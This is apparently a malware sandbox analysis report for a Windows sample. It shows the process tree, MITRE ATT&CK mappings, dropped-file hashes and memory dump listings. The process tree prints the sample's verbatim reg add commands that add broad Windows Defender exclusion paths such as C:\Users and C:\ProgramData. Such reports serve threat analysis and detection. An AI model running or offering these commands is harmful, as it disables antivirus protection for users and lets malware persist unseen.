C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\k9JZdp" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5896
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)\k9JZdp" /t REG_DWORD /d 0 /f
  2⤵
  PID:5596

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3344
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:3704

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:5988
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  PID:6076

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3692
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:3456

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2968
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:4136

C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe
"C:\Program Files (x86)\zoR2N2VdV\H3fC2s.exe"
1⤵
PID:5640

C:\Program Files (x86)\k9JZdp\k9JZdp.exe
"C:\Program Files (x86)\k9JZdp\k9JZdp.exe"
1⤵
PID:2816

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Remote Services

T1021

Remote Desktop Protocol

T1021.001

Collection

Video Capture

T1125

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

XPSPLOG.dll

Path C:\Program Files (x86)\k9JZdp\XPSPLOG.dll
Size 4.6MB
SHA256 b675a71682dc08a8739599873c707f3dc4b5239d93226b82375dfb7a88829727
MD5 70cb51a3f075b8c11d071d866b54bfec
SHA1 5790b01dc52a002752277db4fe334df9a25a2dd3
SHA512 befc9683734427ad8a9812db0257325b5669fb27f96d17e80e7ae44fd012a64a262358d0cd3b7482a257ad35d74d6312648850ad0a10d0d5b3cc81f8965d0175
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyd:BMWKfU+BcUTHCCCfqCiUffnd
TLSH
T187263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\k9JZdp\image.png
Size 4.8MB
SHA256 659a13586412a4f2e23ee22a6e177c1cfc13ccd11e1cba2210553444edbef943
MD5 4599939666561426938294bfc1632a99
SHA1 547996189424813be7abd31782a7414e0e577fc0
SHA512 f9b4dd3ead0d2b48a0fc2e302fa09af442c67b4d539384f5a7ddb1837c4e7d241c5a5de69a900f024122a6d559cde2c8fdd06a80a7619dfb03a7e73645b353d0
SSDEEP 98304:V/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:VMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T17336334FE6EFBED9C39CF7EA71098A30D63A8FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

k9JZdp.exe

Path C:\Program Files (x86)\k9JZdp\k9JZdp.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\k9JZdp\thumbs.db
Size 358KB
SHA256 51ebfc37e901f2ffccb7cfeec825b666ee27464cb92a3993133825f8d2820c5a
MD5 e325479a4ca9c18485517120d7c0ae98
SHA1 6e2397a0fc3d56833851b4af2834a719c1139c71
SHA512 92946145d01281b4b99fb463ff8cd8383f31da4ed8918b76489d61b597425f2af3491b66f8ef93528a916a4d989689c0629ebb5a998792241ffb99a6b8aaf00a
SSDEEP 6144:tiACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:k8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T14F74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\zoR2N2VdV\XPSPLOG.dll
Size 4.6MB
SHA256 2dac5e9aa30df65fb90c645313637919241f22e05cf9956c45600423b4ac3dd8
MD5 89f5d0ab87246b9d1566339659302824
SHA1 47d752147667e64493da3fa7b6792405faea42db
SHA512 83f6c033e3c4164c6efdb54a89d2bb05bfcb487a6a7ba0b1e4294d342c7ef5a8ef439fd3f239a68c05f25d9e009ade4a425fd3d5ede45f06b96b21e35e05a75e
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyw:BMWKfU+BcUTHCCCfqCiUffnw
TLSH
T1C9263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\zoR2N2VdV\image.png
Size 4.8MB
SHA256 0d967fdad90f2c3ecc6cba9089cba42e983bf3de6c1f7bc77a49722cc0429a88
MD5 f5a9f44e1e3b482d57602ed536e264cf
SHA1 ff37f3c5d28e8da6a63dd0aa992152fbb02480a3
SHA512 e4ecf2a8f363a636b348e7d13a8d16c4bf70f8e2bc2cf6120643b2b30c704446bca9da13eef955a0b6f6a44195220d22330426be1983ff03fe84e61cbef60f7a
SSDEEP 98304:p/kbbJse0kVnNLHgU4xCdWDI9U85SRewtOOqncq0/bsf8IWkKo5M2w:pMpJ0kVNLAU4xWWDI3ieO+n1yAFWkh5Q
TLSH
T18736334FE6EFBED9C39CF7EA71098A30D63A4FBE1542292560229D14B63D7073293505
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 063887cd1ff9de6573f9cbacdebab5e651ce69458cb1de97685c1ff68320f41c
MD5 23f1a9690079aac1791dee1d6ff3b84d
SHA1 070e6a943cbcaa5795e81e2b008ecf0b37f2d405
SHA512 7646cec5762c3590204093d67b79fa39eb208a4633449efd6233ad29750eeff9a712c2766e00be304ceb18e7308cbd6b17706b4873bf4ae4bf64dac2dae9c16d
TLSH
T14831A4BB1FADB9868F3A8F8514CAF02328E4D1804CCA009E2015C4686F083B21F5A50C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 1366d2ba7b7742b9054fd1932761bf42aca961c60ab6d3a93c86a582be640c22
MD5 ea74a5e35565a984db909219ba54be73
SHA1 e0caf7426c6d78ac90bfbb543d3564f298393eab
SHA512 3947938a4032de452663742bd3e7c2628b8d4e997e8395973fcce418075090e46c3045b5ab570b44ba51bb743160b6cd4948bb10ad484a85faa853ed04f48386
TLSH
T1CB31D6DA9A7510838F0C9F685AD0C63BACF462B09CE458059B3FC1AE520ABB76FC5405
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 05ae0656b2c9022ce777c6305eaf412e2e9947fb99633d461cb4a6fe91fc5ded
MD5 e078193874c8a4cb6cf8cd1850d14e54
SHA1 afcc954795d538b6bb2853b25ecee05239ce51a3
SHA512 789c85ab9ebcf66af700a0cb4b48fbd5ee42a4bb1394e2491fc91f935c56af2938e95e4d110f5a1d7f67c3569286c6cebd00a8e2954ae4a1df24153ba8c6a52d
TLSH
T1BFF0DC0809B9403CF133D978DAED7EA3292FFA02340A81E846F90708A4428016EA257D
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 8e84fb7d0b0927f655edff5abf30fcec802123db4da99f2e16435b9879af76d5
MD5 691a7bdefe5457a935d4ebf0157e98b7
SHA1 af28f5fd48ad1752470b7fe9eef14cca58226d17
SHA512 b065ac89a6c1661f1b4cb16ddc991bb3fdd4ef86b4c5de3de4a6fe1fb0b2a5f34366b838ab92f3389beb7457c18f256aaf7044d9d9df633009364a90e2db07c3
TLSH
T12FF05C3957D9026FF17FC6F886D635B2AF7AF623204A52AE0DB643441EA1C006C42329
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 88a3045677a7c26ba8a4e40a8c1e5e6f301081406cf68ebc57124307f65af9c7
MD5 9ae008c8f48bc1d9eaee6e6f6e9b3a56
SHA1 257500def9bead1538456a8d2eab2fdcd3f047da
SHA512 177c6713ede0a16d8e6a2e00eb732534b9a64826ef2cadf3b5c54ff0247d21987de3b9f6d82f40f0c16e8f99c2184b8fc8614d39a25e3456e0e218570e6936d0
TLSH
T19F216833B3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wuresool.zjh.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wuresool.zjh.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

UxEnhance64.dll

Path C:\Users\Public\TN8CWP\UxEnhance64.dll
Size 3.1MB
SHA256 d8ea61782471e3e17fc93dbf73799093021f92bee19c43565db990b72b9607d6
MD5 ca3c78462bc1da1cae483c72e68b93d6
SHA1 bcb3c66ac9ba021ba5d4907e7f2767ba51cddb0d
SHA512 dd1eacb33a1ec86e7541bb63ce751360bf4e62bb457647df8a8e91ab95ab60f548cb3bad37107da26003b6999a45389ee003bec74205af8b4d70ca31ed90b28c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+T:P9m29xx3Tiqt06ox6+z2rNNrKoT
TLSH
T1F4E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

aPLDph.exe

Path C:\Users\Public\TN8CWP\aPLDph.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\TN8CWP\adoresd.dat
Size 4.8MB
SHA256 b9200e83e7e9f536807420b4486eb37db4e89a1792c70e6ad3c9cce89868373d
MD5 dd67f989a49d00b4901f2c3df5edf6ce
SHA1 85b76a624932e8fbae67ce770afa28e635b6196d
SHA512 22fa14c7c314efd0aeada99ee91705ba4a437395aa1d57962df959a77d9ad39b5cec25c903c9beddf7f924f0e4ecad13c31a01d0d9d06e0b1cc96940451c7251
SSDEEP 98304:ZWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:ZWj3WRdRQH5fimPGmNc7dBtYOc
TLSH
T1443633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\TN8CWP\msadox.tb
Size 8KB
SHA256 6e80cf0fa8272b3cce33f1cf578dce4ae9dd411b023e6592295a018b2f8e5d51
MD5 d38ef15dfe3386ff3719d3d7893b120d
SHA1 099b48ed765ce417bcc3d6ffc2f7324e1dd2320b
SHA512 0d44135232eae1842249ec1a6e464b759120d357c9bdf3ccdd334e55e2af93d13b31da254688f48922b838a8ff7d7340799d9646c76479416be12379a5e5199c
SSDEEP 192:/qbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:/sZqZOXQ3uqvR2Kfzp
TLSH
T195029E05D7A20CC7D3016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xxxx.ini

Path \??\c:\xxxx.ini
Size 2B
SHA256 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
MD5 81051bcc2cf1bedf378224b0a93e2877
SHA1 ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA512 1b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
MD5 SHA1 SHA512

Submit Download

memory/1740-770-0x00000000011E0000-0x00000000011E1000-memory.dmp

Download

memory/1740-750-0x00000000011E0000-0x00000000011E1000-memory.dmp

Download

memory/1740-751-0x0000000072E50000-0x000000007359A000-memory.dmp

Download

memory/1740-756-0x0000000003410000-0x0000000003BED000-memory.dmp

Download

memory/1740-765-0x0000000001200000-0x0000000001201000-memory.dmp

Download

memory/1740-767-0x0000000003410000-0x0000000003BED000-memory.dmp

Download

memory/1764-740-0x00000000749F0000-0x000000007513A000-memory.dmp

Download

memory/1764-764-0x0000000001A50000-0x0000000001A51000-memory.dmp

Download

memory/1764-760-0x0000000003090000-0x0000000003091000-memory.dmp

Download

memory/1764-761-0x0000000003CE0000-0x00000000044BD000-memory.dmp

Download

memory/1764-739-0x0000000001A50000-0x0000000001A51000-memory.dmp

Download

memory/1764-743-0x0000000003CE0000-0x00000000044BD000-memory.dmp

Download

memory/2224-594-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2224-597-0x00007FF9A21F0000-0x00007FF9A21F2000-memory.dmp

Download

memory/2224-581-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2224-589-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2224-579-0x00007FF981AB0000-0x00007FF981FCE000-memory.dmp

Download

memory/2224-588-0x00007FF9A2200000-0x00007FF9A2202000-memory.dmp

Download

memory/2224-593-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2224-577-0x00007FF9A21F0000-0x00007FF9A21F2000-memory.dmp

Download

memory/2224-596-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2224-595-0x000002439AF20000-0x000002439B7F7000-memory.dmp

Download

memory/2328-609-0x000001FD415C0000-0x000001FD415DE000-memory.dmp

Download

memory/2328-611-0x000001FD415E0000-0x000001FD415EA000-memory.dmp

Download

memory/2328-604-0x000001FD41560000-0x000001FD41582000-memory.dmp

Download

memory/2328-610-0x000001FD41850000-0x000001FD41902000-memory.dmp

Download

memory/2816-806-0x0000000001370000-0x0000000001371000-memory.dmp

Download

memory/2816-823-0x0000000001370000-0x0000000001371000-memory.dmp

Download

memory/2816-821-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/2816-819-0x0000000001390000-0x0000000001391000-memory.dmp

Download

memory/2816-807-0x00000000749F0000-0x000000007513A000-memory.dmp

Download

memory/2816-814-0x00000000039D0000-0x00000000041AD000-memory.dmp

Download

memory/3024-554-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-534-0x000001CEF4640000-0x000001CEF4B5E000-memory.dmp

Download

memory/3024-562-0x000001CEF65B0000-0x000001CEF65FE000-memory.dmp

Download

memory/3024-688-0x000001CEF4640000-0x000001CEF4B5E000-memory.dmp

Download

memory/3024-563-0x000001CEF79A0000-0x000001CEF7A2A000-memory.dmp

Download

memory/3024-564-0x000001CEF79A0000-0x000001CEF7A2A000-memory.dmp

Download

memory/3024-571-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-565-0x000001CEF79A0000-0x000001CEF7A2A000-memory.dmp

Download

memory/3024-533-0x00007FF9A21F0000-0x00007FF9A21F2000-memory.dmp

Download

memory/3024-566-0x000001CEF79A0000-0x000001CEF7A2A000-memory.dmp

Download

memory/3024-549-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-552-0x000001CEF4640000-0x000001CEF4B5E000-memory.dmp

Download

memory/3024-560-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-572-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-548-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-547-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-546-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-542-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/3024-541-0x00007FF9A2200000-0x00007FF9A2202000-memory.dmp

Download

memory/3024-539-0x000001CEF7030000-0x000001CEF7907000-memory.dmp

Download

memory/4836-686-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4836-682-0x00000000749F0000-0x000000007513A000-memory.dmp

Download

memory/4836-720-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/4836-713-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4836-701-0x0000000002590000-0x00000000025A4000-memory.dmp

Download

memory/4836-694-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4836-690-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4836-689-0x0000000000C00000-0x0000000000C01000-memory.dmp

Download

memory/4836-681-0x0000000000670000-0x0000000000671000-memory.dmp

Download

memory/4836-797-0x0000000004F00000-0x0000000004F3D000-memory.dmp

Download

memory/4836-727-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4836-773-0x0000000002FF0000-0x00000000037CD000-memory.dmp

Download

memory/4896-0-0x0000000001F10000-0x0000000001F1E000-memory.dmp

Download

memory/4896-527-0x00007FF9999B0000-0x00007FF9999C2000-memory.dmp

Download

memory/4896-1-0x0000000001F10000-0x0000000001F1E000-memory.dmp

Download

memory/4896-2-0x0000000001F60000-0x0000000001F6C000-memory.dmp

Download

memory/4896-504-0x00007FF9999B0000-0x00007FF9999C2000-memory.dmp

Download

memory/4896-526-0x0000000001F10000-0x0000000001F1E000-memory.dmp

Download

memory/5428-793-0x0000000007790000-0x000000000779A000-memory.dmp

Download

memory/5428-795-0x0000000007910000-0x0000000007921000-memory.dmp

Download

memory/5428-786-0x0000000072F00000-0x0000000072F4C000-memory.dmp

Download

memory/5428-789-0x0000000007390000-0x00000000073B0000-memory.dmp

Download

memory/5428-790-0x0000000007410000-0x00000000074B3000-memory.dmp

Download

memory/5428-791-0x0000000007D70000-0x00000000083EC000-memory.dmp

Download

memory/5428-792-0x0000000007720000-0x000000000773A000-memory.dmp

Download

memory/5428-778-0x0000000005F20000-0x0000000005F86000-memory.dmp

Download

memory/5428-794-0x0000000007990000-0x0000000007A26000-memory.dmp

Download

memory/5428-785-0x00000000073D0000-0x0000000007406000-memory.dmp

Download

memory/5428-771-0x00000000055D0000-0x0000000005C1A000-memory.dmp

Download

memory/5428-769-0x0000000004F40000-0x0000000004F76000-memory.dmp

Download

memory/5428-779-0x0000000005DF0000-0x0000000005E56000-memory.dmp

Download

memory/5428-780-0x0000000005F90000-0x00000000062EB000-memory.dmp

Download

memory/5428-783-0x0000000006550000-0x000000000659C000-memory.dmp

Download

memory/5428-782-0x00000000063F0000-0x000000000640E000-memory.dmp

Download

memory/5428-775-0x0000000005C50000-0x0000000005C72000-memory.dmp

Download

memory/5640-816-0x0000000003870000-0x000000000404D000-memory.dmp

Download

memory/5640-810-0x0000000001230000-0x0000000001231000-memory.dmp

Download

memory/5640-811-0x0000000072320000-0x0000000072A6A000-memory.dmp

Download